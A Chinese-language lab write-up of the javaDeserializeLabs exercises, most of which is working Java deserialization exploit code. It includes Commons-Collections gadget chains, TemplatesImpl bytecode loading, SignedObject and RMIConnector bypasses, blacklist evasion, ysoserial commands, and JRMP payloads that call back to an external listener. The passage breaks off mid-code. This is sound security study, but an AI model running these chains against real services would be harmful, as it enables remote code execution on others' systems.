Java Deserialize Labs实验记录

前言:Java Deserialize Labs实验记录

环境地址:https://github.com/waderwu/javaDeserializeLabs
参考文章:http://novic4.cn/index.php/archives/26.html

lab1-basic

关键代码如下所示,可以看到/basic接口触发反序列化,并且当前环境中存在Calc类的依赖,那么这里反序列化利用则通过Calc类来进行构造即可

@Controller
public class IndexController {
    @RequestMapping({"/basic"})
    public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        byte[] b = Utils.hexStringToBytes(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
    }
}

public class Calc implements Serializable {
    private boolean canPopCalc = false;
    private String cmd = "ls -al";

    private void readObject(ObjectInputStream objectInputStream) throws Exception {
        objectInputStream.defaultReadObject();
        if (this.canPopCalc) {
            Runtime.getRuntime().exec(this.cmd);
        }
    }
}

构造代码如下:

public class GetPoc {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Calc calc = new Calc();
        setFieldValue(calc, "canPopCalc", true);
        setFieldValue(calc, "cmd", "open -a calculator.app");
        String s = Utils.objectToHexString(calc);
        System.out.println(s);
    }
}

lab2-ysoserial

第二题可以看到只给了代码,并没有给可以利用的类,代码如下图所示

public class IndexController {
    @RequestMapping({"/basic"})
    public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        byte[] b = Utils.hexStringToBytes(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("SJTU") && year == 1896) {
            objectInputStream.readObject();
            return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
        }
        return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
    }
}

这里通过观察相关引入的依赖可以知道存在commons-collections3.2.1,所以这里的话使用commons-collections3.2.1来进行利用


        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

因为搭建的jdk版本为8,所以我这里需要支持jdk8的payload来进行利用,构造的代码如下图所示

需要注意的就是这边还需要满足两个条件name.equals("SJTU") && year == 1896,所以在写入对象的时候还需要先写入这两个对象才行

public class GetPoc {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open -a calculator.app"})
        };

        // LazyMap封装
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

        // TiedMapEntry封装
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,121212121);

        // BadAttributeValueExpException的val字段获取
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        setFieldValue(badAttributeValueExpException, "val", tiedMapEntry);

        // chainedTransformer's transformers
        setFieldValue(chainedTransformer, "iTransformers", transformers);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bos);
        out.writeUTF("SJTU");
        out.writeInt(1896);
        out.writeObject(badAttributeValueExpException);
        out.close();
        System.out.println(Utils.bytesTohexString(bos.toByteArray()));
        bos.close();
    }
}

lab3-shiro-jrmp

触发点还是在/basic接口,但是接受反序列化的时候自己实现了一个类MyObjectInputStream重写了resolveClass方法和构造函数

原生类的resolveClass如下图所示

这里先不看其他的,直接通过payload来进行测试一次先,发现回显信息如下图所示,报错提示为java.lang.ClassNotFoundException,寻找不到[Ljava.lang.StackTraceElement

这里就涉及到一个知识点就是默认UrlClassLoader对于数组形式的对象是不支持loadClass的,这里做个测试如下图所示

import org.apache.commons.collections.Transformer;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoader_problem {
    public static void main(String[] args) throws Exception {
        String[] test_string = new String[]{"1","2"};
        URL[] urls = ((URLClassLoader) Transformer.class.getClassLoader()).getURLs();
        ClassLoader classLoader = new URLClassLoader(urls);
        classLoader.loadClass(test_string.getClass().getName());
    }
}

跟shiro反序列化中的利用一样,默认shiro反序列化loadClassUrlClassLoader,或者是可以通过二次反序列化(其中可以绕过无数组的限制)来进行绕过利用

具体问题可以参考文章:https://www.cnblogs.com/zpchcbd/p/14957034.html

这里通过针对shiro的payload进行测试,发现不行,结果如下图所示

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        TemplatesImpl tpl = new TemplatesImpl();
        setFieldValue(tpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
        setFieldValue(tpl, "_name", "HelloTemplatesImpl");
        setFieldValue(tpl, "_tfactory", new TransformerFactoryImpl());

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        HashMap innerMap = new HashMap();
        Map m = LazyMap.decorate(innerMap, transformer);
        Map outerMap = new HashMap();
        TiedMapEntry tied = new TiedMapEntry(m, tpl);
        outerMap.put(tied, "t");
        // clear the inner map data, this is important
        innerMap.clear();

但是发现会报错,报错信息如下

具体什么原因呢?这里通过报错的堆栈来进行跟随即可,可以发现在反序列化TemplatesImpl出现了问题,调试发现在反序列化TemplatesImpl的时候,相关属性存在数组,所以同样会触发数组反序列化的问题,所以这里的话TemplatesImpl同样不可取了

那么这里的话只能寻找其他的方法,对于shiro的攻击还有一种最原始的方法就是通过JRMP二次反序列化来进行攻击利用

这里配合使用的是ysoserial中的 exploit/JRMPClient和payload/JRMPListener,这边先用payload/JRMPListener使其开放一个1088端口

然后接着用exploit/JRMPClient进行攻击 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1088 CommonsCollections6 calc

但是可以发现结果是不行,发现RMI在反序列化的时候存在被过滤的操作

这里需要用到payload.JRMPClient+exploit.JRMPListener来进行利用,通过查看Dockerfile可以知道jdk版本为8u222符合攻击范围

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 "calc"

生成相关payload.JRMPClient,这里记得进行写入相关条件的变量,然后进行攻击即可,攻击结果如下图所示

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bos);
        out.writeUTF("SJTU");
        out.writeInt(1896);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }

lab4-shiro-blind

看着代码其实跟Lab3没有什么不同,并且Lab3的payload在Lab4中也可以使用,看了别人的WP才知道这道题考点是不出网,因为自己是直接本地运行的环境的,并且docker的一些配置项也不是非常的了解导致没理解题意,这里的话考点就是解决不出网的利用

现在的原生二次反序列化类的利用有挺多种,比如jrmp的二次反序列化,signedObject的二次反序列化,RMIConnector的二次反序列化,这里对于jrmp的二次反序列化实则是需要出网的,那么我们这里的话就挑选signedObject进行二次反序列化,而这里signedObject二次反序列化的话需要触发getObject方法,如下图所示,所以还需要有个能够在反序列化中触发该方法的类,那么这里挑选一个InvokerTransformer类即可,其实这里的话直接signedObject+一条支持cc的链即可,并且也不需要考虑数组,因为在java.security.SignedObject#getObject中是通过ObjectInputStream来进行反序列化的

最终构造的payload如下

package com.yxxx.javasec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.security.provider.DSAPrivateKey;

import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Lab4_SignedObject {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static SignedObject getSignedObject() throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);

        lazyMap.remove("test1");

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        setFieldValue(chainedTransformer, "iTransformers", transformers);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(hashSet, privateKey, signature);
        return signedObject;
    }

    public static void main(String[] args) throws Exception {

        SignedObject signedObject = getSignedObject();
        InvokerTransformer invokerTransformer = new InvokerTransformer("getObject", null, null);

        Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, signedObject);

        HashMap expMap = new HashMap();
        expMap.put(tiedMapEntry, "test");
        lazyMap.remove(signedObject);
        setFieldValue(lazyMap,"factory", invokerTransformer);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("SJTU");
        objectOutputStream.writeInt(1896);
        objectOutputStream.writeObject(expMap);
        String s = bytesTohexString(byteArrayOutputStream.toByteArray());
        System.out.println(s);
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 15 & (bytes[i] >> 4);
            ret.append("0123456789abcdef".charAt(b));
            int b2 = 15 & bytes[i];
            ret.append("0123456789abcdef".charAt(b2));
        }
        return ret.toString();
    }
}

但是发现上述的signedObject的反序列化一直有问题,无法触发攻击,如下图所示,具体原因没研究

所以自己这里直接换成了RMIConnector来进行二次反序列化,攻击结果如下图所示

package com.yxxx.javasec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.*;

public class Lab4_RMIConnector_self {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String getObject() throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);

        lazyMap.remove("test1");

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        setFieldValue(chainedTransformer, "iTransformers", transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);

        return Base64.getEncoder().encodeToString(barr.toByteArray());
    }

    public static void main(String[] args) throws Exception {
        RMIConnector connector = new RMIConnector(new JMXServiceURL("service:jmx:iiop://127.0.0.1:8000/stub/{$payload}".replace("{$payload}", getObject())), null);

        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

        Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, connector);

        HashMap expMap = new HashMap();
        expMap.put(tiedMapEntry, "test");
        lazyMap.remove(connector);
        setFieldValue(lazyMap,"factory", invokerTransformer);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("SJTU");
        objectOutputStream.writeInt(1896);
        objectOutputStream.writeObject(expMap);
        String s = bytesTohexString(byteArrayOutputStream.toByteArray());
        System.out.println(s);

    }
    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 15 & (bytes[i] >> 4);
            ret.append("0123456789abcdef".charAt(b));
            int b2 = 15 & bytes[i];
            ret.append("0123456789abcdef".charAt(b2));
        }
        return ret.toString();
    }
}

lab5-weblogic-readResolve

考点关于readResolve,参考文章:https://www.cnblogs.com/zpchcbd/p/15126154.html

可以看到变动的地方就是重写了resolveClass方法,那么为其添加了两个黑名单

  static
  {
    blackList.add("org.apache.commons.collections.functors");
    blackList.add("java.rmi.server");
  }

但是这里多了一个MarshalledObject对象可以进行利用,可以发现只有一个readResolve方法,如果熟悉java.io.ObjectInputStream#readOrdinaryObject的话,会知道如果一个反序列化的类存在ResolveMethod方法,那么在反序列化的时候会调用其ResolveMethod方法进行执行

package com.yxxx.javasec;

import com.yxxx.javasec.deserialize.MarshalledObject;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Lab5 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getObjectBytes() throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);

        lazyMap.remove("test1");

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        setFieldValue(chainedTransformer, "iTransformers", transformers);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashSet);
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }


    public static void main(String[] args) throws Exception {
        MarshalledObject marshalledObject = new MarshalledObject();
        setFieldValue(marshalledObject, "bytes", getObjectBytes());
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("SJTU");
        objectOutputStream.writeInt(1896);
        objectOutputStream.writeObject(marshalledObject);
        objectOutputStream.close();

        System.out.println(bytesTohexString(byteArrayOutputStream.toByteArray()));
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 15 & (bytes[i] >> 4);
            ret.append("0123456789abcdef".charAt(b));
            int b2 = 15 & bytes[i];
            ret.append("0123456789abcdef".charAt(b2));
        }
        return ret.toString();
    }
}

lab6-weblogic-resolveProxyClass

payload.JRMPClient不需要动态代理一样可以进行攻击,所以我这里尝试把动态代理的部分去掉,发现一样可以进行攻击,代码如下所示

为什么可以把部分代理的部分去掉?其实就是可以去掉的,因为Proxy类其中的InvocationHandler对象是RemoteObjectInvocationHandler,而默认反序列化Proxy就会去反序列化其中的InvocationHandler字段,也就是反序列化RemoteObjectInvocationHandler字段,然后同样会走到触发攻击的地方

package ysoserial.payloads;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;

import java.io.*;
import java.rmi.Remote;
import java.rmi.server.*;
import java.util.Random;

public class JRMPClient_bypass_jep_jdk231 extends PayloadRunner implements ObjectPayload<Remote> {

    public Remote getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        Remote obj = new RemoteObjectInvocationHandler(ref);
        return obj;
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 15 & (bytes[i] >> 4);
            ret.append("0123456789abcdef".charAt(b));
            int b2 = 15 & bytes[i];
            ret.append("0123456789abcdef".charAt(b2));
        }
        return ret.toString();
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bos);
        out.writeUTF("SJTU");
        out.writeInt(1896);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }

    public static void main ( final String[] args ) throws Exception {
        Remote object = new JRMPClient_bypass_jep_jdk231().getObject("192.168.2.4:2333");
        System.out.println(objectToHexString(object));
    }
}

lab7-weblogic-UnicastRef

lab7中又继续添加了相关的黑名单,如下所示

    static {
        classBlackList.add("org.apache.commons.collections.functors");
        classBlackList.add("sun.rmi.server.UnicastRef");
        classBlackList.add("java.rmi.server.RemoteObjectInvocationHandler");
        proxyBlackList.add("java.rmi.registry");
    }

这里找了下大概考点应该是CVE-2018-3245,通过其他的RemoteObject子类代替RemoteObjectInvocationHandler即可,只要能够存储UnicastRef对象即可,但是通过WP发现还存在一个javax.management.BadAttributeValueExpException过滤,导致正常无法进行反序列化操作,也不知道咋解决,所以只能先放着了

因为BadAttributeValueExpException会在rmi通信中进行触发,这个不知道如何解决绕过

package ysoserial.payloads;


import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient_2 extends PayloadRunner {

    public RMIConnectionImpl_Stub getObject (final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RMIConnectionImpl_Stub obj = new RMIConnectionImpl_Stub(ref);
        return obj;
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }

        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 15 & (bytes[i] >> 4);
            ret.append("0123456789abcdef".charAt(b));
            int b2 = 15 & bytes[i];
            ret.append("0123456789abcdef".charAt(b2));
        }
        return ret.toString();

    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bos);
        out.writeUTF("SJTU");
        out.writeInt(1896);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }

    public static void main ( final String[] args ) throws Exception {
        RMIConnectionImpl_Stub object = new JRMPClient_2().getObject("192.168.2.4:2333");
        System.out.println(objectToHexString(object));
    }
}

lab8-jrmp-unicastRemoteObject

不知道为啥,这个里面存储的是lab6,可能github仓库弄错了

lab9-proxy

题目中把commons-collection3.2.1库去掉了,然后留下了一个MyInvocationHandler,如下图所示,可以看到提供了一个任意类任意方法无参调用的点

没有依赖库那考点就是原生类的反序列化,然后还提供了一个sink点

public class MyInvocationHandler
  implements InvocationHandler, Serializable
{
  private Class type;
  
  public Object invoke(Object proxy, Method method, Object[] args)
    throws Throwable
  {
    Method[] methods = this.type.getDeclaredMethods();
    for (Method xmethod : methods) {
      xmethod.invoke(args[0], new Object[0]);
    }
    return null;
  }
}

需要在反序列化中readObject中找到类似如下形式的才可以进行利用

/* object = in.readObject()
 * MyInvocationHandler = in.readObject()
 * MyInvocationHandler.xxx(object....)
 * */

// source:  任意类#readObject
// chain:   com.yxxx.javasec.deserialize.MyInvocationHandler#invoke
// sink:    javax.xml.transform.Templates.getOutputProperties

这里直接通过tabby来进行搜索,sink点已经确定,所以这里找是source到chain的即可,发现tabby不支持动态代理的调用形式。。。

match (source:Method) where source.NAME="readObject"
match (m1:Method{NAME:"invoke",CLASSNAME:"com.yxxx.javasec.MyInvocationHandler"})
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 4) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 10

那么没办法只能在已知的链中看看有没有了,我看了别人的WP是从PriorityQueue中的,我这里看了下别的类,比如在TreeBag的反序列化中也是可以进行触发,所以这里就用TreeBag来做演示

package com.yxxx.javasec;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MyInvocationHandler;
import com.zpchcbd.javassist.ExploitCalc;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.AbstractMapBag;
import org.apache.commons.collections4.bag.HashBag;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.TreeMap;

public class cc4_jdk8_v4_TreeBag {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ClassPool classpool = ClassPool.getDefault();
        classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass class_s = classpool.get(ExploitCalc.class.getName());
        CtClass class_f = classpool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName());
        class_s.setSuperclass(class_f);
        class_s.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        setFieldValue(templates, "_name", "zpchcbd_test");
        setFieldValue(templates, "_bytecodes", new byte[][]{class_s.toBytecode()});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        setFieldValue(myInvocationHandler, "type", Templates.class);

        Comparator comparator = (Comparator)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);

        TreeBag treeBag = new TreeBag(comparator);
        treeBag.add(templates);


    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bos);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 15 & (bytes[i] >> 4);
            ret.append("0123456789abcdef".charAt(b));
            int b2 = 15 & bytes[i];
            ret.append("0123456789abcdef".charAt(b2));
        }
        return ret.toString();
    }
}

发现TreeBag是commons-collections4中的,有点尴尬,那这里直接用PriorityQueue即可

package com.yxxx.javasec;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MyInvocationHandler;
import com.zpchcbd.javassist.ExploitCalc;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;

public class cc4_jdk8_v4_TreeBag {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ClassPool classpool = ClassPool.getDefault();
        classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass class_s = classpool.get(ExploitCalc.class.getName());
        CtClass class_f = classpool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName());
        class_s.setSuperclass(class_f);
        class_s.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        setFieldValue(templates, "_name", "zpchcbd_test");
        setFieldValue(templates, "_bytecodes", new byte[][]{class_s.toBytecode()});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);

        MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        setFieldValue(myInvocationHandler, "type", Templates.class);
        Comparator comparator = (Comparator)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);
        setFieldValue(priorityQueue, "comparator", comparator);

        Field field_queue = PriorityQueue.class.getDeclaredField("queue");
        field_queue.setAccessible(true);
        Object[] innerArr = (Object[]) field_queue.get(priorityQueue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        System.out.println(objectToHexString(priorityQueue));
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bos);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
